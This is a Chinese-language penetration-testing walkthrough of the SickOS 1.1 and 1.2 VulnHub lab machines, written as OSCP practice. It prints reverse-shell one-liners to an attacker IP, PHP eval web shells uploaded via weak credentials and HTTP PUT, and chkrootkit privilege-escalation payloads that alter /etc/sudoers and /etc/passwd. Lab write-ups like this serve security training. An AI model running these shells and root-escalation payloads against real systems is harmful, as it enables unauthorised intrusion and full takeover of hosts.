【oscp】SickOS系列全教程
【oscp】SickOS系列全教程
泷羽Sec-Norsea 2025-02-02 14:49
~ 一份耕耘,一份收获 ~
SickOS1.1
靶机下载链接见:
https://download.vulnhub.com/sickos/sick0s1.1.7z
靶机渗透,主机发现
arp-scan -l
image-20250121142916961
端口扫描,80端口是没有开启的,3128端口有一个http服务
image-20250121153617732
访问查看,这个服务呢是一个http代理,版本是3.1.19,8080端口也是一个http代理,但是已经关闭了
image-20250121153522411
既然是代理服务,那么我们进行目录扫描的时候,需要添加上这个代理ip+端口,不然扫不到80端口(80端口没有开启的)
image-20250121165446320
我们使用靶机的代理,这样就能扫描出来了,但是没有扫到后台管理的地址呢
image-20250121165819982
并没有该系统的后台管理地址
image-20250121174716034
浏览器添加代理
image-20250121170025063
访问成功,可以进一步信息收集了
image-20250121170241604
robots文件
image-20250121170255160
这个文件不知道是什么,先放着
image-20250121170344575
这就是wolfcms内容了
image-20250121170318879
漏洞检索
image-20250121174318460
一个一个看,直到第三个漏洞描述
image-20250121174624938
访问,原来是多了一个问号啊
image-20250121174734182
弱口令admin/admin(也可以进行爆破,毕竟没有验证码)
image-20250121174902721
上传一句话木马
image-20250121181027239
添加代理
image-20250121181240800
保存后即可连接成功
image-20250121181323510
反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.209.130 6666 >/tmp/f
创建交互式终端
python -c 'import pty; pty.spawn("/bin/bash")'
得到mysql数据库账号密码
root / john@123
image-20250121181814708
登录进去,用户表只有一个用户admin
image-20250121182251138
继续信息收集,回家,历史命令,SUID文件
image-20250121182426084
计划任务
ls -al /etc/cron*
image-20250121182759838
这些工具基本上都没啥用,这里需要用上之前的数据库密码,来登录这个home下面的用户sickos
image-20250121183201662
有了密码那么就直接sudo,可以看到是所有的东西都可以执行sudo,那么就简单了
image-20250121183253525
直接 sudo -s 保存用户变量,切换超级用户root,也可使用sudo -i使用root的环境变量
image-20250121183349861
SickOS1.2
靶机下载链接见:
https://www.vulnhub.com/entry/sickos-12,144/
image-20250119150500029
端口扫描,目标服务器开启了22端口和80端口
image-20250119150733804
访问80端口
image-20250119151048612
第一时间查看源码,在最下面
<!-- NOTHING IN HERE ///\\\ -->
image-20250119151138783
目录扫描
image-20250119151240186
有一个指纹信息
image-20250119151350131
漏洞检索,并没有相关版本的漏洞
image-20250119151453070
将网页上的图片下载下来使用strings进行分析
image-20250119151913473
网上搜到一种方法
nmap --script http-methods --script-args http-methods.url-path='/test' 192.168.209.133
该命令使用Nmap的http-methods脚本检测IP为192.168.209.133的主机上Web服务的/test路径支持的HTTP方法。
image-20250119152715071
利用这个PUT方法,可以上传文件至目标服务器,HTTP的请求方式常见的就是GET、POST、DELETE、PUT
其中PUT方法,向服务器上传一个资源,用于创建或完全替换目标资源的内容。如果资源不存在,则创建该资源;如果资源已存在,则进行更新。
DELETE:请求服务器删除由URL所标识的资源。
image-20250119153949832
那么我们尝试上传一个php文件,响应结果为创建成功
<?php @eval($_POST[hack]);?>
image-20250119162243945
这时候回到页面,就会发现一个新的php文件
image-20250119163019446
蚁剑i连接
image-20250119163618402
这里反弹shell试了好多种方式,都不行,看样子是对端口进行了限制,先信息收集吧,用户信息
image-20250120160737933
image-20250120162757428
系统信息收集
uname -a
lsb_release -a
image-20250120162435228
查找某一个用户的文件
find / -user john -type f 2>/dev/null
image-20250120162528248
这里需要一个脚本,检查端口得开启情况(不是已使用的服务),默认使用iptables,但是没有权限
image-20250120214517525
这里需要用上一个脚本来检查端口的开放情况,脚本内容如下
# !/bin/bash
for i in $(seq 1 65535)
do
timeout 1 nc -vz 192.168.209.130 $i && echo "$i open" >> out.txt || echo "$i closed" >> out.txt;
done
echo "all port done"
放到kali中,并开启http服务,并将所有端口的流量都转发到34444端口
python -m http.server 5000
//备份iptables规则
iptables-save > /tmp/firewall.rules
//将所有端口的流量都转发到34444端口
iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 34444
//监听34444端口
nc -lvp 34444
尝试从kali上下载这个文件,下载失败
image-20250120172248994
切换tmp进行下载还是失败
image-20250120182502495
那么就麻烦一点,传到本机上,再传到靶机
image-20250120182742532
这样就能上传成功了
image-20250120183112857
执行脚本
image-20250120212631946
会生成一个txt文件
image-20250120221606777
这里需要多执行几次,否则都是关闭的状态,检测不到结果
image-20250120235654877
kali回显了,说明443端口是放行的
image-20250120235744147
用bash反弹shell(如果反弹不成功,需要清除 iptables 的所有规则)
bash -c 'bash -i >& /dev/tcp/192.168.209.130/443 0>&1'
image-20250121003715689
创建一个交互式终端
python -c 'import pty; pty.spawn("/bin/bash")'
信息收集,我是谁?我在哪?你是谁?
image-20250121004207763
漏洞检索,没有任何的漏洞信息,3.11.0不在这里面的库中
image-20250121004605586
查看有没有gcc编译命令
image-20250121004958521
这里利用cve-2021-4034提权poc打,注意kali开启的端口要是443
image-20250121004931258
提权失败,找其他信息(前面我们已经搜索了一些信息了,这里直接打)
image-20250121005123010
这里是要用到一个命令
ls -al /etc/cron*
这个命令就是说查看所有和计划任务有关的所有内容,发现了一个计划任务,chkrootkit命令
image-20250121014505274
其中
/etc/crontab:这是系统的crontab文件,用于定义系统级别的定时任务。
/etc/cron.d :该目录用于存放系统级别的定时任务配置文件。
/etc/cron.daily :这些脚本用于执行每天需要进行的系统维护任务,如更新软件包列表、清理日志文件、更新数据库等。
/etc/cron.hourly :这些脚本用于执行每小时需要进行的系统维护任务,如清理临时文件、更新缓存等。
/etc/cron.monthly :这些脚本用于执行每月需要进行的系统维护任务,如备份、报告生成等。
/etc/cron.weekly :包含多个脚本文件,这些脚本每周执行一次。
image-20250121014605222
找到漏洞
image-20250121014626233
image-20250121014748345
We just found a serious vulnerability in the chkrootkit package, which
may allow local attackers to gain root access to a box in certain
configurations (/tmp not mounted noexec).
# 我们刚刚在chkrootkit包中发现了一个严重的漏洞,它可能允许本地攻击者在某些配置(/tmp而不是挂载noexec)下获得root访问权限。
查看利用步骤
image-20250121015022165
大致意思就是说让我们在tmp目录下面创建一个文件叫做 update ,这个update文件呢包含了一些恶意脚本,当我们运行chkrootkit这个工具的时候,这些恶意脚本也会跟着执行,并且是以root身份执行的(它是计划任务,会定时执行)
这里可以利用sudo提权,,将当前用户赋予sudo权限
echo 'echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' >/tmp/update
chmod +x /tmp/update
image-20250121020028670
也可以向 /etc/passwd 追加一个用户,密码为 password@123 (使用openssl将这个密码加盐,不加也可以,得到结果advwtv/9yU5yQ,所以完整的命令如下)
echo 'echo "xiaoyu:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd' >/tmp/update
image-20250121021455119
再者利用nc反弹shell(有思路就可以,这里没有成功)
echo '/bin/bash -i >& /dev/tcp/192.168.209.130/443 0>&1' > /tmp/update
如果有错误,或者其他方法还请师傅们指出,灰常感谢
往期推荐
【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!绝对干货!